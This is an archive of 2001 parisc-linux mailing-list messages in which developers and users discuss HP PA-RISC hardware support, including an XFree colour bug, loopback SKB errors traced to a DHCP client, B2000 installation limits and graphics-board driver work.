Subject: [parisc-linux] XFree on 712/60: BLUE instead of GREY/WHITE
Date: Thu, 11 Oct 2001 15:05:26 -0300
Lines: 10
Approved: news@gmane.org
Message-ID: <E15rkD2-0002lR-00@diana>
Reply-To: charlie_navarro@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620608 27794 80.91.229.3 (22 Nov 2014 01:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:28 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:05:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from diana (unknown [168.101.16.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5760B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:05:32 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=there)
	by diana with smtp (Exim 3.32 #1 (Debian))
	id 15rkD2-0002lR-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 15:05:28 -0300
X-Mailer: KMail [version 1.3.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12590

Hello people,

What is the status about this problem. 

Thank you in advance..

Charlie




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: SKB errors
Date: Tue, 9 Oct 2001 07:53:07 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C9E8@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620608 27797 80.91.229.3 (22 Nov 2014 01:43:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:28 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:29:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 974F3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:29:50 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f995r8u02620
	for <parisc-linux@lists.parisc-linux.org>; Tue, 9 Oct 2001 07:53:09 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <RRCPPYG6>; Tue, 9 Oct 2001 07:53:08 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:12591

Hi All,

Yesterday I received a (old but unused) 712/100 and tried to install the
latest cd (0.9.2)

All went reasonably well but after some time I got a very annoying lot of
error messages:

ip_local_deliver: bad loopback SKB PRE_ROUTING LOCAL_IN
SKB: pf=2 (unowned) dev=lo len=328
Proto=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

These three lines appear every minute or so.

So I have a couple of questions:
1)	What's going on? it seems that the device driver for the loopback
interface has a problem with its (linked-list) buffers

2)	How to get rid of it? switching consoles is no use: they haunt me
everywhere ;-)
At this moment, I do a "ifconfig lo down" but  I guess its not a proper
thing to do...


Kind regards, Hans Witvliet




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: SKB errors
Date: Mon, 8 Oct 2001 10:17:01 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C9E6@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620609 27799 80.91.229.3 (22 Nov 2014 01:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:29 +0000 (UTC)
To: "Parisc-Linux (E-Mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:29:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C9B64832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:29:52 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f988H5Z15726
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Oct 2001 10:17:14 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <RRCPPTQN>; Mon, 8 Oct 2001 10:17:04 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:12592

Hi All,

Yesterday I received a (old but unused) 712/100 and tried to install the
latest cd (0.9.2)

All went reasonably well but after some time I got a very annoying lot of
error messages:

ip_local_deliver: bad loopback SKB PRE_ROUTING LOCAL_IN
SKB: pf=2 (unowned) dev=lo len=328
Proto=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

These three lines appear every minute or so.

So I have a couple of questions:
1)	What's going on? it seems that the device driver for the loopback
interface has a problem with its (linked-list) buffers

2)	How to get rid of it? switching consoles is no use: they haunt me
everywhere ;-)
At this moment, I do a "ifconfig lo down" but  I guess its not a proper
thing to do...


Kind regards, Hans Witvliet




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree on 712/60: BLUE instead of GREY/WHITE
Date: Thu, 11 Oct 2001 20:22:31 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20011011202231.A4771@middle.of.nowhere>
References: <E15rkD2-0002lR-00@diana>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620609 27804 80.91.229.3 (22 Nov 2014 01:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:29 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Carlos Charlie Navarro <charlie_navarro@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:31:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA3BA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:31:18 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id f9BIVHvJ068908
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 20:31:22 +0200 (CEST)
Original-Received: (qmail 4386 invoked from network); 11 Oct 2001 18:22:35 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 11 Oct 2001 18:22:35 -0000
Original-Received: (qmail 5650 invoked by uid 500); 11 Oct 2001 18:22:31 -0000
Content-Disposition: inline
In-Reply-To: <E15rkD2-0002lR-00@diana>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12593

On Thu, Oct 11, 2001 at 03:05:26PM -0300, Carlos Charlie Navarro wrote:
> Hello people,
> 
> What is the status about this problem. 
> 
> Thank you in advance..
> 
I distinctly remember an email saying this was solved - what kernel are
you using?

Jurriaan
-- 
I think the phrase rhymes with 'clucking bell'.
	Blackadder goes forth - Goodbyeee
GNU/Linux 2.4.10-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.35 0.08 0.03




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree on 712/60: BLUE instead of GREY/WHITE
Date: Thu, 11 Oct 2001 20:34:00 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20011011183437.A5455482A@dsl2.external.hp.com>
References: <E15rkD2-0002lR-00@diana>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620609 27806 80.91.229.3 (22 Nov 2014 01:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:29 +0000 (UTC)
To: charlie_navarro@yahoo.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:34:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A5455482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:34:37 -0600 (MDT)
Original-Received: (qmail 31939 invoked by uid 0); 11 Oct 2001 18:34:35 -0000
Original-Received: from pd9040d1f.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.31)
  by mail.gmx.net (mp001-rz3) with SMTP; 11 Oct 2001 18:34:35 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <E15rkD2-0002lR-00@diana>
Xref: news.gmane.org gmane.linux.ports.parisc:12594

On Thursday 11 October 2001 20:05, Carlos Charlie Navarro wrote:
> Hello people,
>
> What is the status about this problem.
>
> Thank you in advance..
>
> Charlie

This was fixed by Thomas Bogendoerfer and new kernels >= 2.4.9-pa47
are ok.

Helgel




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000
Date: Thu, 11 Oct 2001 12:50:20 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <200110111850.MAA29903@puffin.external.hp.com>
References: <ra@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620609 27808 80.91.229.3 (22 Nov 2014 01:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:53:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EBCE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:53:39 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA29903;
	Thu, 11 Oct 2001 12:50:20 -0600
In-Reply-To: Message from Richard Allen <ra@hp.is> 
   of "Thu, 11 Oct 2001 16:47:35 -0000." <20011011164735.I4861@hp.is> 
Xref: news.gmane.org gmane.linux.ports.parisc:12595

Richard Allen wrote:
> I just got a B2000 in and I decided to test it with Linux.
> 
> The B2000 is a strange beast.  It's got USB keyboard and mouse.
> It has a IDE cdrom drive.

Yup. none of which is supported yet.
USB support is almost ready.
I need to look at IDE-CDROM support because of issues
with the IDE drivers and DMA. I've got a pile of other
things on my todo list as well so this may take a while.

> The 0.92 iso began booting and loaded the kernel.   It's console (B2000
> is a workstation with a graphical console) went blank and the screen went
> into powersaving mode.

You need to use serial console and boot via LAN and setup
an NFS root to install on a local HD. Lack of CD-ROM support,
issues with SE SCSI on those boxes, and no testing of sticons
(console driver for graphics head) makes installing from CD somewhat
unatractive on that generation of workstation. But several folks
(including me) are running parisc-linux on C3000, J5000, and J7000
machines. It's just not easy to install yet.

> Judging by the front panel LCD, things went very bad ;)   It was cycling
> through many HPMC and FLT codes.

Could be any one of the unsupported devices or bugs in the older kernel.

There is talk of a 0.9.3 ISO but no plan of when to release it.
I'd expect in the next month or so.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: SKB errors
Date: Thu, 11 Oct 2001 20:56:09 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20011011205609.A13259@middle.of.nowhere>
References: <1A8904C3797ED411AC2E0008C7E6F88117C9E8@nlntmail2b.ats.nld.alcatel.nl>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620610 27812 80.91.229.3 (22 Nov 2014 01:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:30 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:56:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D782482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:56:18 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id f9BIuLav083640
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 20:56:21 +0200 (CEST)
Original-Received: (qmail 9465 invoked from network); 11 Oct 2001 18:56:11 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 11 Oct 2001 18:56:11 -0000
Original-Received: (qmail 13733 invoked by uid 500); 11 Oct 2001 18:56:09 -0000
Content-Disposition: inline
In-Reply-To: <1A8904C3797ED411AC2E0008C7E6F88117C9E8@nlntmail2b.ats.nld.alcatel.nl>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12596

On Tue, Oct 09, 2001 at 07:53:07AM +0200, Witvliet, Hans wrote:
> Hi All,
> 
> Yesterday I received a (old but unused) 712/100 and tried to install the
> latest cd (0.9.2)
> 
> All went reasonably well but after some time I got a very annoying lot of
> error messages:
> 
> ip_local_deliver: bad loopback SKB PRE_ROUTING LOCAL_IN
> SKB: pf=2 (unowned) dev=lo len=328
> Proto=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> These three lines appear every minute or so.
> 
> So I have a couple of questions:
> 1)	What's going on? it seems that the device driver for the loopback
> interface has a problem with its (linked-list) buffers

this has something to do with the dhcp-client, that is started
erroneously.

> 
> 2)	How to get rid of it? switching consoles is no use: they haunt me
> everywhere ;-)

killall dhcp to stop it now, then rm /etc/rc?.d/*dhcp* to stop it after
the next reboot.

There is something to be said for downloading or using the archives of
this mailing-list, they provide a wealth of information :-)

Good luck,
Jurriaan
-- 
As of next week, passwords will be entered in Morse code.
GNU/Linux 2.4.10-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.01 0.09 0.06




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW: SKB errors
Date: Thu, 11 Oct 2001 12:53:49 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <200110111853.MAA29934@puffin.external.hp.com>
References: <Hans.Witvliet@Alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620610 27814 80.91.229.3 (22 Nov 2014 01:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:30 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 12:57:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67733482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 12:57:08 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA29934;
	Thu, 11 Oct 2001 12:53:49 -0600
In-Reply-To: Message from "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl> 
   of "Tue, 09 Oct 2001 07:53:07 +0200." <1A8904C3797ED411AC2E0008C7E6F88117C9E8@nlntmail2b.ats.nld.alcatel.nl> 
Xref: news.gmane.org gmane.linux.ports.parisc:12597

"Witvliet, Hans" wrote:
> All went reasonably well but after some time I got a very annoying lot of
> error messages:
> 
> ip_local_deliver: bad loopback SKB PRE_ROUTING LOCAL_IN
> SKB: pf=2 (unowned) dev=lo len=328
> Proto=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

I just asked the same questions last week.
See the archives at lists.parisc-linux.org.
Short answer is get a newer kernel from the
puffin.external.hp.com ftp site (pub/parisc/binaries/kernel, iirc)

grant




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPA4552A, stifb
Date: Thu, 11 Oct 2001 21:28:03 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20011011212803.A1661@solo.franken.de>
References: <OF4ACC8BA3.E1FA8942-ONC1256AE2.0037A5B7@leica.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620610 27817 80.91.229.3 (22 Nov 2014 01:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: norbert.naether@leica-microsystems.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 13:29:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C8C1.dip.t-dialin.net [217.81.200.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE39C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 13:29:16 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f9BJS3w04427;
	Thu, 11 Oct 2001 21:28:03 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF4ACC8BA3.E1FA8942-ONC1256AE2.0037A5B7@leica.co.uk>; from norbert.naether@leica-microsystems.com on Thu, Oct 11, 2001 at 12:27:13PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12598

On Thu, Oct 11, 2001 at 12:27:13PM +0200, norbert.naether@leica-microsystems.com wrote:
> the C200 VISUALIZE with an HPA4552A graphic board (SUMMIT fx2) is finally
> running sticon. :-)

cool, I've checked, whether I get the same on my FX6. And it works:-)

> I only added the PCI device ID to sti_pci_tbl[ ] in sticore.c :
> 
> { PCI_VENDOR_ID_HP, 0x1008, PCI_ANY_ID, PCI_ANY_ID, 0 ,0, 0}

I'm going to commit that change later.

Is there a reason for the #if 1 /* FIXME: */ in sticore.c ? Which machines
will lockup, if PCI graphics boards are enabled ?

> Now, I did some (more or less stupid..) things in stifb.c. With one
> (expected) result:  *take the power cord !* ;-)
> Is there anything I could do, to get this device running the framebuffer
> driver ?

no way without documentation or at least some source code to look at.
I've tried treating my fx6 as VIS-EG or HCRX, both locked up the machine.
So the FX boards aren't like the old ngle like boards.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCXS fixes
Date: Thu, 11 Oct 2001 21:41:15 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20011011214115.A29321@dogbert.localdomain>
References: <200110030832.CAA10917@udlkern.fc.hp.com> <20011006104130.A18068@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620611 27819 80.91.229.3 (22 Nov 2014 01:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 13:43:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0E1F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 13:43:46 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15rljy-0001WV-00
	for parisc-linux@lists.parisc-linux.org; Thu, 11 Oct 2001 21:43:34 +0200
Original-Received: (qmail 22450 invoked from network); 11 Oct 2001 19:43:32 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 11 Oct 2001 19:43:32 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15rlhj-0007d2-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 21:41:15 +0200
Content-Disposition: inline
In-Reply-To: <20011006104130.A18068@dogbert.localdomain>
User-Agent: Mutt/1.3.22i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15rljy-0001WV-00*s6WneKkwL76* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12599

Hello parisc,

Has anyone given any thought to how one would go about solving the
problem outlined below? I am quite anxious to get my 720/50 working
properly. :-)

Keep up the good work, hackers!

Regards,

Albert

On Sat, 06 Oct 2001, Albert Strasheim wrote:

> Hello,
> 
> On Wed, 03 Oct 2001, John Marvin wrote:
> 
> <snip>
> 
> > However, ls still hangs randomly (actually it is not random, it depends on
> > which directory the ls is done in).  It gets stuck in a ldcw loop due to
> > the lock word not being 16 byte aligned.  The problem is that we fixed the
> > alignment problems for static and dynamic allocations, but the align
> > attribute is ignored for automatic (stack) allocations. Note that
> > although ldcw requires 16 byte alignment for correct function, it does
> > not cause an unaligned fault if the address is not aligned, it just
> > doesn't work correctly!
> > 
> > Here are some suggested fixes:
> > 
> >     1) Fix the compiler to honor the aligned attribute for stack
> >     allocations. I'm not sure how difficult this would be. I'm
> >     not a compiler person, so someone else would have to do this.
> >     I would guess that this problem is in the machine independent
> >     part of the compiler. I'm not sure whether or not it would
> >     be considered a bug. It might be worth writing a test for
> >     the 386 version of gcc, and if it fails, report the "bug" and
> >     see what happens ...
> > 
> >     2) Change the lock structure to have 4 contiguous lock words, each
> >     initialized to 1.  Then the lock code can round the address up to the
> >     nearest 16 byte aligned address and use that for the semaphore.  If we
> >     choose this solution we can just get rid of the aligned attribute,
> >     since it would no longer serve any purpose.
> 
> As anyone decided on what do here? What would the test that John
> mentions entail? How difficult is the second solution to implement?
> 
> Regards,
> 
> Albert






From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPA4552A, stifb
Date: Thu, 11 Oct 2001 21:50:08 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20011011195105.F3830482A@dsl2.external.hp.com>
References: <OF4ACC8BA3.E1FA8942-ONC1256AE2.0037A5B7@leica.co.uk> <20011011212803.A1661@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620611 27821 80.91.229.3 (22 Nov 2014 01:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	norbert.naether@leica-microsystems.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 13:51:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id F3830482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 13:51:05 -0600 (MDT)
Original-Received: (qmail 3344 invoked by uid 0); 11 Oct 2001 19:51:03 -0000
Original-Received: from pd9040d1f.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.31)
  by mail.gmx.net (mp020-rz3) with SMTP; 11 Oct 2001 19:51:03 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011011212803.A1661@solo.franken.de>
Xref: news.gmane.org gmane.linux.ports.parisc:12600

On Thursday 11 October 2001 21:28, Thomas Bogendoerfer wrote:
> Is there a reason for the #if 1 /* FIXME: */ in sticore.c ? Which machines
> will lockup, if PCI graphics boards are enabled ?

Last time I tested it HPMC'ed my c3000 with a VISUALIZE_EG PCI card.

Helge






From - Thu Nov 08 21:19:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.9-pa47
Date: Thu, 11 Oct 2001 19:10:27 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20011011191027.A7776@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620611 27823 80.91.229.3 (22 Nov 2014 01:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
